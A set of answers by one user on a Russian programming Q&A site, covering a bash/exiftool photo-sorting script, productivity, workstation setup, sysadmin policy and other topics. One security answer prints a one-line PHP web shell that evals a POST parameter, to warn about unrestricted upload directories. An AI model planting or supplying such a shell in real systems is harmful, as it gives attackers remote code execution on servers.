• Чем отсортировать большую коллекцию фотографий через EXIF?

    @lesha_penguin
    bash + exiftool с помощью примерно вот-такого скрипта:

    #!/bin/sh
    #foto_sort.sh
    #############
    src_dir="$1"
    dst_dir="$2"
    if [ "${src_dir}" = "" -o "${dst_dir}" = "" ] ; then
     echo "Usage: foto_sort.sh src_dir dst_dir"
    fi
    (cd $src_dir && ls *.jpg)|while read f ; do
      f_year=`exiftool -DateTimeOriginal -s -s -s -d %Y "${src_dir}/${f}"`
      f_date=`exiftool -DateTimeOriginal -s -s -s -d %F "${src_dir}/${f}"`
      f_dtime=`exiftool -DateTimeOriginal -s -s -s -d %F-%H_%M "${src_dir}/${f}"`
      if [ "${f_year}" != "" ] ; then
        mkdir -p "${dst_dir}/${f_year}/${f_date}" && mv -i -v "${src_dir}/${f}" "${dst_dir}/${f_year}/${f_date}/${f_dtime}_${f}"
      fi
    done
    
    Ответ написан
    2 комментария
  • Oracle SQL, PL/SQL

    @lesha_penguin
    Кроме Т.Кайта можно почитать еще «Oracle PL/SQL для профессионалов» С.Фейерштейн и Б.Прибыл.
    А если есть желание потом еще произвести мощную прокачку узкотематических Oracle-скилов гугли книги издательства Oracle Press. Правда на русском языке бывает не первой свежести, но все равно.
    Ответ написан
    Комментировать
  • Ускорение работы программиста?

    @lesha_penguin
    Какой Главный ресурс программиста — внимание! Т.е. продуктивность твою как программиста лимитирует не время, которое ты чему-то уделяешь, а внимание. Поэтому, для повышения производительности убираешь все ненужное что отвлекает твое внимание на себя.

    В первую очередь — отключаем всякие скайпы и аськи. Если тебе нужен сервис мгновенных сообщений — заведи себе отдельный рабочий аккаунт, и используй его только по работе. Разделение сотовых на личный и рабочий тоже дает +100 к здоровой упорядоченности жизни.

    Во вторую очередь — прибираем на рабочем месте. Куча бумажек и древнего неиспользуемого говна утягивает внимание на себя.

    В третих — вырубаем на компутере всякие свисто-перделки, которые не нужны, а только тянут внимание на себя.

    В четвертых — если мешает посторонний шум (например, куча менеджеров на телефонах), включаем музыку (само собой музыка желательно без слов), отключающую аудиальный канал от посторонних раздражителей. Если постороннего шума нет — то лучшая музыка это тишина.

    В пятых — четкое планирование. Садясь за компутер, у тебя должен быть небольшой список задач (в идеале, убирающийся на стикер), например, «проверить данные за первый квартал», «отдебажить функцию в таком-то файле», «произвести нагрузочный тест»,«сделать бекап такого-то сервера», и т.д. т.е. задачи четкие и понятные.

    В шестых — ну, наверное все понимают, что социальные сети — зло, отбирающее тонны твоего внимания. Если не можешь отказаться — регламентируй.

    В седьмых — удобство самого рабочего места. т.е. если работаешь за ноутбуком то, подключаешь нормальную клавиатуру, мышь и монитор на высокой подставке.

    В восьмых — делаем перерывы в работе. Заведи себе на рабочем месте например, чайничек и чашечку. Во время перерывов на чай иногда приходят хорошие решения.
    Ответ написан
    5 комментариев
  • Как увеличить "буфер" консоли Debian?

    @lesha_penguin
    Вас интересует именно scroll buffer консоли (текстовой либо framebuffer) или scroll buffer терминала?
    Ответ написан
    2 комментария
  • CentOS + vsftpd + IDE

    @lesha_penguin
    Посмотрите что у вас в vsftpd.conf чему равны директивы port_*
    Ответ написан
  • Проблема с отваливанием интернета на Ubuntu

    @lesha_penguin
    Как я понимаю, в интрнете сидите через безпроводной роутер?

    Вопрос #1: Проблемы возникают именно с коннектом или с днс-ресолвом?
    Вопрос #2: Интернет отваливается на одном компе или на всех?
    Вопрос #3: Что за торренты качаете-раздаете (трекеры закрытые или публичные)?
    Вопрос #4: Какой используете роутер?
    Ответ написан
  • Какие IT-ресурсы Вы посещаете?

    @lesha_penguin
    lwn.net
    Ответ написан
    Комментировать
  • На чем писать проект сегодня? На PHP(Zend, Symfony) или Python(Django)?

    @lesha_penguin
    Если вы расчитываете на рост и развитие своего проекта то однозначно PHP.

    Потому что если для PHP вы можете потом найти (само собой, за дорого) пару-тройку действительно опытных разработчиков у которых за плечами 5-10 лет реальной веб-разработки.

    То насчет опытных разработчиков Python — вы много можете назвать действительно опытных? Т.е. не тех, кто позавчера прочел «Самоучитель Python для Чайников», а тех, у кого с десяток реальных проектов за плечами?
    Может полтора таких супер-питониста найдется на всю Москву, но только эти супер-опытные питонисты сидят на таких теплых местах, что поверьте, у вас никаких денег не хватит их к себе переманить.

    Кстати, в этом плане я бы не рекомендовал использовать всякие «красивости» типа Java и «модности» типа Ruby.
    Ответ написан
  • Хинты к элементам должны всплывать моментально или с задержкам?

    @lesha_penguin
    С небольшой задержкой. Величину задержки лучше выбрать 0.3-1.5 сек в зависимости насколько большие по размеру элементы и какую они площадь занимают относительно рабочего поля и их расположение.

    Слишком малая задержка будет мешать, потому что хинты будут всплывать когда пользователь просто проводит мимо мышкой.

    Слишком большая ( 3 сек и больше) это намного хуже чем малая, потому что когда пользователь навел на элемент и ждет когда же все-таки система ему подскажет что за действие вызовет нажатие на элемент. Заставлять пользователя ждать это не хорошо, тем более он это время в «мучительных раздумьях» нажимать-ненажимать, и то ли я нажму что надо?

    Главная Суть задержкиубрать случайное срабатывание хинта. Т.е. хинт не должен срабатывать когда курсор заведомо «просто пролетает мимо». Но юзер при этом не должен ждать.

    Почему заговорил о размерах элемента и расположении — потому что если «хинтованные» элементы находятся в таком месте, где часто ходит курсор, т.е. рядом с прочими интерфейсными элементами, задержку лучше чуть увеличить.

    Причем если сами «хинтованные» элементы небольшие по размеру — задержку можно уменьшить (потому что очень маловероятно, что курсор случайно будет
    находится больше полсекунды над пиктограмкой 16x16пикселей).
    Ответ написан
    1 комментарий
  • Криптографическая общалка

    @lesha_penguin
    С какой цлью интересуетесь? С целью заюзать или с целью конкурентного анализа имеющихся систем?
    Ответ написан
  • Как заменить серийный номер USB устройства в модуле hiddev (Linux)?

    @lesha_penguin
    Копать лучше в сторону udev, если я не ошибаюсь, в нем можно указать правило по физическому размещению устройства. Тогда можно будет легко работать с ними по вменяемым именам, прописанным раз и навсегда в виде udev-правила.
    Ответ написан
    Комментировать
  • Где найти разработчика?

    @lesha_penguin
    Самое главное, определитесь, вам все-таки нужен именно разработчик (как наемный сотрудник) или все-такие партнер по бизнесу (это уже другой разговор).
    Потому что это совершенно две разные мотивации, и два совершенно разных разговора, два разных взаимоотношения.
    Когда вы для себя этот вопрос решите, ваша проблема разрешится сама собой.
    Ответ написан
  • Как мотивировать школьников учиться?

    @lesha_penguin
    Можно уточнить АПВС: Вы школьный учитель, желающий мотивировать своих учеников? Или же вы родитель, и вы боитесь, чтобы ваши дети выростут балбесами?
    Просто, как вы понимаете от ответа на этот вопрос (Вы: учитель/родитель) зависит насколько индивидуальным будет подход. И насколько будет баланс между «вести детей в нужное русло» или наоборот «поощрять и развивать, следуя естественным склонностям».

    Если говорить насет именно физики, тут реально заинтересовать ребенка может парочка простых DIY-поделок, выполненных вместе с ребенком.
    При чем, самое главное, с достаточными комментариями что вы конкретно делаете.
    По сути ваш трюк заключается в том, чтобы связать теорию и интерес ее применения на практике:

    * Например, производя пайку, расчитать по формулам силу тока в контуре, чтобы например не спалить нежную микросхему, или показать как выбрать правильную полярность светодиода.

    * Делая что-то летающее, показать, как вы по формуле расчитываете «взлетит/не взлетит» массу аппарата и используемый двигатель. Если у «леталки» есть крылья, разрисовать, какие силы действуют на них, для чего «леталке» хвост, как сделать чтобы эта леталка не заваливалась в полете, а вела себя устойчиво.

    * Собирая что-нибудь ездиещее, можно показать как расчитать на какие препятствия аппарат сможет заехать, а на какие нет. А из характеристик материала расчитать, сколько груза можно на эту «ездилку» погрузить, чтобы она не сломалась.

    * Когда делаете что-то стреляющее, покажите как вы расчитываете насколько далеко улетит снаряд в зависимости от выбранной пружины.

    * Когда вы работаете с каким-нибудь материалом, можно и нужно комментировать, что и как и почему получается. Например, во время пайки, рассказать, почему припой надо нагревать до определенной температуры, что такое холодная пайка, зачем обезжиривать провода, и т.д.

    Очень важный фактор — снять у ребенка неуверенность в поиске нужной информации:
    Просто показываете ребенку, как вы, например, если не помните точной формулы или не знаете интересующих характеристик радиодетали пользуетесь справочником. Это очень важный, чтобы у ребенка не возникал тупняк, когда он сталкивается с тем, что не знает на память.
    Также, покажите ребенку как вы читаете готовые схемы, на что вы обращаете внимание, чтобы в них разобраться. Покажите, что вы делаете чтобы изменить характеристики используемой схемы.

    Ваша задача не заставить учить теоретическую основу физики, а показать как эта теория применяется применительно к тому что вызывает интерес! Кстати, побочный эффект: за интересом к физике, обычно автоматически подтягивается и «прокачка математических скилов».

    Да, если все делаете правильно, очень скоро заинтересованный ребенок быстро обретает самостоятельность, и для вас будет нормально, если придя с работы вы будете видеть на столе у ребенка разложенные радиодетали с паяльником. Пусть ребенок самостоятельно экспериментирует. Но всегда постарайтесь помочь ему, когда у него возникают вопросы.

    P.S.: То, о чем я пишу, я знаю на своем опыте. У меня папа с мамой как инженеры всегда, при любой возможности, давали мне «на поиграться» что нибудь интересное. А учитывая, что в доме была масса справочников и прочей технической литературы (которую они мне щедро подбрасывали, в виде всяких научно-популярных журналов и книг), можно сказать, что одни из лучших моментов моего детства прошли «с паяльником и отверткой». Потом правда, уже ближе к середине восьмидесятых, появились компьютеры и фокус моего внимания переместился в сторону IT, и я стал свой инженерный подход применять уже для написания программ, но это, правда уже совсем другая история.
    Ответ написан
    3 комментария
  • Как мотивировать пользователей оставлять комментарии на сайте?

    @lesha_penguin
    Вам, как я понимаю, интересна именно структурированная информация.
    Предоставьте пользователю оченивать заведение по некоторым критериям:
    качество обслуживания/удобство расположения/адекватность цен.
    И естественно тут же с поле ввода для ихних комментариев/пожеланий/благодарностей/ругани.

    Обычно, если пользователю «сделать подсказку», у него проходит «ступор» типа «а что там писать, что-то ничего в голову не приходит».

    В качестве «побочного эффекта» вы получите нечто структурированное (в пределе рейтинги-пузомерки).

    P.S.: А насчет капчи какверно выше сказали — не ставить! Это отбивает всякое желание что-то делать! Т.е. капчу надо ставить не потому что «все ставят, это модно», а имеет смысл только если спама будет больше чем нормальных сообщений.
    Ответ написан
    Комментировать
  • Помогите подобрать стол для компьютера

    @lesha_penguin
    Расскажу как я сам для себя решал проблему организации рабочего места. Просто опишу критерии по которым я огранизовывал себе рабочее место и какие шаги я делал для реализации этих критериев.

    Первый критерий: Максимальная эффективная площадь использования рабочего стола.
    Не максимальная площадь, а максимальное эффективное использование площади. Т.е. сидя за столом, рука должна дотягиваться в идеальном случае до любого места. Слишком «глубокая» столешница в этом плане вовсе не так здорово, как кажется на первый взгляд. У меня уже были столы у которых «неиспользуемая глубина» превращала их в хламо-пылесборник.

    Второй критерий: Мониторы лучше поднять с уровня стола на уровень глаз.
    Шея при этом меньше искривляется, взгляд меньше устает. Таких штатных столов, к сожалению, просто нет. Но я просто купил два специальных кронштейна-крепления, которые поднимали мониторы, подвешивая их над поверхностью стола (кстати, поворотные). Как приятный побочный эффект — активная площадь стола увеличивается, поскольку мониторы подвешенны над столом, да и пространство стола за мониторами не покрывается вековой пылью.

    Третий критерий: Есть то, что ты используешь постоянно, есть то, что время от времени, а есть то, что редко.
    Поэтому я брал стол с тумбочкой с выдвижными ящичками. Куча блокнотов, тетрадок, папок для бумаг, канцелярки, проводов, запчастей, флешек и прочей радости замечательно и удобно разместилость в трех выдвижных ящичках. С одной стороны, всегда под рукой, с другой стороны — если бы это было все лежало «размазанным по столу» не хватило бы стола размером с полкомнаты. Из этого же критерия брался стол с верхней полочкой, где размещается принтер. Там же, на верхней полочке размещаются такие вещи как, пачка бумаги для принтера, чистящие средства и прочие предметы которые «чтобы заюзать, все равно вставать с кресла».

    Четвертый критерий: Хорошее, удобное освещение.
    Я установил две небольших настольных лампы которые «крокодилом» кретятся к столу на поворотных гибких длинных держалках. Одна из них, более тепло-желтая прикреплена к верхней полочке и дает общий «фон освещения», вторая холодного дневного света прицеплена к правой стороне столешницы и светит на те листочки которые на столе. За столом можно работать, не включая верхний свет. Само собой, мониторы не смотрят в окно, чтобы на экране не возникало бликов. Мониторы, кстати, два одинакового размера, одного разрешения да и вообще одной фирмы и одной модели (глаз не перестраивается когда взгляд переходит с одного на другой).

    Пятый критерий: Удобство уборки.
    Компьютеры (их несколько) стоят не на полу, а на подкатных подставочках, т.е. во время уборки можно откатить и пропылесосить.

    Шестой критерий: Удобное расположение в комнате.
    У меня рабочее место расположено рядом с книжной полочкой-министелажиком. То, что нужно — легко достать не вставая со стула.

    Седьмой критерий: Удобный стул.
    Я выбрал стул с регулирующейся поддержкой для поясницы. Когда сижу — спина прямо.

    Восьмой критерий: Когда я не занят работой, рабочее место не должно сьедать слишком много места в квартире.
    Т.е. стол должен быть оборудован выдвижной подставкой клавиатуры. Стул в неактивном состоянии задвигается под стол. Это еще один лишний агрумент против избыточной глубины стола.

    Девятый критерий: Совмещаем приятное с полейзным.
    Роль подставки для ног играют два стоящие под столом бесперебойника.

    Десятый критерий: Расширяемость.
    Правый монитор у меня подключен через четырехпортовый KVM-свитч, в который воткнуты два компа и ноутбук. То есть, сразу заложенно удобство работы на ноутбуке с нормальным экраном, нормальной мыщью и клавиатурой.

    Одинадцатый критерий: Удобная коммутация.
    Сами держалки мониторов прикрепленны не к столешнице а к небольшой конструкции-проводожержалке, которую я сам придумал и смастерил, куда частично утоплен сам KVM-свитч и она же служит для прокладки проводов. В глубину она с ладонь.

    Двенадцатый критерий: Минимум валяющихся на полу проводов.
    К задней стенке стола также прикреплена самопальная провододержалка.

    Тринадцатый критерий: Многоцелевое использование.
    Кронштейны крепления на которых мониторы подвешены над столом — поворотные. Крайний левый монитор можно, например развернуть и смотреть лежа на диване фильмы, а потом снова вернуть в исходное положение. Выступ верхней лампы служит крючком, на который повешены наушники, когда они не используются. Сами наушники, когда используются, воткнуты в колонки с USB-питанием.

    Четырнадцатый критерий: Доработки к расширению.
    В ту же настольную «провододержалку» выведены USB от компа, и RJ-54 от свича. К боковине прикреплен сетевой фильтр, в который всегда можно поставить сотовые на зарядку либо подключить ноутбук, когда кто-то ко мне приходит с ноутбуком.

    Пятнадцатый критерий: В рабочем мексте должно быть что-то что радует глаз, при этом не занимает места, и не тянет на себя слишком много внимания.
    Для меня это пингвинчики на верхней полке.

    Ну, вот, вроде ничего не забыл. Что из вышеперечисленного может пригодится лично вам-решайте сами. Скажу только, что я своим рабочим местом более чем доволен! И хочется чтобы вы тоже были также довольны рабочим местом, которое вы организуете под себя.
    Ответ написан
    2 комментария
  • Когда стоит регистрировать компанию: до запуска стартапа или после?

    @lesha_penguin
    Я бы сказал, что лучше не «до запуска» и не «после запуска», а в «процессе запуска» именно тогда когда этот процесс запуска будет проходить ту фазу когда тебе она реально для чего-то конкретного все-таки уже нужна эта самая фирма.

    А когда она реально нужна? Тебе не нужна фирма пока ты обдумываешь идею и разрисовываешь планы ее реализации.
    Также тебе не нужна фирма для того, чтобы разговаривать с партнерами и потенциальными инвесторами. Есть ли у тебя фирма или нет, для них эти фенечки не играют роли, им интересно что ты за человек и как собираешся вести проект.
    Но тебе весьма может пригодится наличие фирмы если ты завтра собираешся снять офис или начать нанимать наемных сотрудников.
    Ответ написан
    Комментировать
  • Безопасность веб-приложений: Какие есть наиболее распространенные способы атак/взлома сайтов?

    @lesha_penguin
    То, что выше писали про sql-injection это то, что называется «дыры фреймворка».

    Однако, дыр в безопасности может быть масса, большинство из которых, самые незаметные, но при этом самые подлые, это «дыры администрирования» и «дыры конфигурации».

    Простой, детский, пример:
    Юзер может на твой сервер загружать какие-нибудь файлы (ну, например, картинки, аватарки, прочую фигню)? А чем отличается конфиг директории куда эти файлики загружаются от остальных директорий сервера? Если ничем, то для вас плохие новости: Первый же «малолетний ][аKeP», будет делать с твоим серваком все что заблогорассудится, если загрузит «в качестве аватарки» файл cmd.php следующего содержания:

    <?php if(isset($_POST['cmd'])){eval($_POST['cmd']);} ?>
    


    Еще пример «дыры конфигурации»: Есть ли разделение конфигурации на development и production? Если нет, то плохая новость номер два: Сыпать отладочную информацию на веб-вывод, для разработчиков может удобно, но всему интернету не обязательно знать, что скрипт не смог подсоединиться к mysql-серверу «mysql.mydomain.com» под юзером «pupkin» с паролем «123».

    Пример «дыры администрирования»: Твой проект использует shared hosting и на одном физическом серваке с тобой находятся сотни дырявых говносайтов. Никто не будет ломать твой супер-пупер сайт, а просто взломает чей-то бложичек, лежащий от твоего сайта в соседней директории.
    Ответ написан
    5 комментариев
  • Как системному администратору снять с себя ответственность за установленный пользователями софт?

    @lesha_penguin
    Давайте применим древний принцип «разделяй и властвуй».
    Первый вопрос — получение сотрудниками админского доступа.
    Второй — управление установкой софта в фирме и приобретение лицензий.
    Третий — участие системного администратора в этих двух процессах.

    По первому вопросу: Проблема не в админском доступе как таковом, а в том, что он не "получается", а "раздается". По должностной инструкции админский доступ должен быть у админа. Самый главный фактор — не допустить безконтрольности. Остальными он получается только по служебной записке, в которой сам сотрудник должен сформулировать зачем ему нужен админский доступ. А во вторых, перед получением админского доступа, сотрудник подписывает ряд бумаг, такие как например, соглашение о неразглашении конфиденциальных данных, и о полной материальной ответственности. Важна сама связь — расширенные полномочия — расширенная ответственность. Получил админский доступ — прикинуться ветошью уже не удастся: утекла клиентская база — отвечай, фирма получила материальный ушерб из-за твоих действий — отвечай. Само собой, тот факт, что сотрудник написал в СЗ «мне необходим админский доступ, потому что программа XXXX работает только из-под админа» не должно отменять общую процедуру формализации т.е. подписание соглашений о неразглашении и об ответственности.

    По второму вопросу: У каждого сотрудника имеется вполне определенный список должностных обзанностей (ибо если это не так, то это называется бардак). Для исполнения этих должностных обязанностей в рамках бизнес-процессов сотруднику необходим определенный инструментарий, в который входит как «физические предметы», так и програмное обеспечение. И самый главный тезис, который я хочу донести, что не нужно разделять.

    По третьему вопросу: К чему я это говорю? Почему пользователи устанавливают програмное обеспечение в обход сисадмина?
    Варианта два (см. второй вопрос): либо им нужен некий инструмент для выполнения своих обязанностей (тогда вопрос вполне уместен), либо это прихоть для личных нужд (тогда сотрудник справедливо идет лесом).

    Давайте рассмотрим это с такой стороны:
    Что происходит, если например, секретарю для выполнения своих обязанностей нужен факс? Правильно, она мотивированно сообщает что ей нужен факс для того-то и того-то, и факс в итоге будет закуплен.
    А если дизайнер скажет, что ему нужен например 21-дюймовый монитор вместо 19-дюймового? Проблем ведь тоже не будет, ведь так?
    Так в чем же по-сути отличие монитора от програмного обеспечения? В чем же разница, если, например, верстальщик напишет, что ему для его повседневной работы нужен, например, Adobe Photoshop? Почему бы фирме не приобрести лицензию (благо, это дешевле, чем геморой от наличия нелицензионщины).
    А вот, например, тетенька-бухгалтерша, врядли сможет обосновать зачем ей для работы нужен Photoshop (чтобы ужимать фотки для выкладки в вконтактик?), зато легко обоснует, зачем ей нужен 1С версии 8 вместо 7.

    Менеджер Вася Пупкин отправиться по известному адресу если скажет «поставьте мне в комп крутую видеокарту, чтобы я мог резаться в онлайн-игры», а вот например, DBA легко обоснует, зачем в офисном сервера базы данных нужен raid-контроллер. С софтом, точно такой же подход. Тебе нужна какая-нибудь игрушка покупай себе личный ноутбук и ставь на него что тебе заблогорассудиться. А на работе надо работу работать.
    Ответ написан
    Комментировать
  • Получение дохода от бесплатной онлайн-игры?

    @lesha_penguin
    Кстати, если говорить о сайте-викторине, то само-собой напрашивается решение: Специальные викторины с ценными призами/материальной выгодой. Например, викторина на тему насколько ты хорошо знаешь X, где X — это продвигаемый бренд фирмы Y. Тот, кто ответил лучше всех получает приз от Y, тот кто ответил почти на все-получает купон на Z% скидку от Y. Единственное условие, ты должен выглядеть «солидно» в глазах Y, как реальная возможность пропиарить X.
    Ответ написан
    Комментировать
  • 152-ФЗ и локальные копии БД / веб-приложений

    @lesha_penguin
    Есть еще достаточно простой способ. Все кто по долгу службы имеет прямой доступ в БД подписывает договор о неразглашении. Кстати, такое решение хорошо, не только в связи с «соблюдением ФЗ 152» но и вообще как адекватная мера информбезопасности.
    Ответ написан
    Комментировать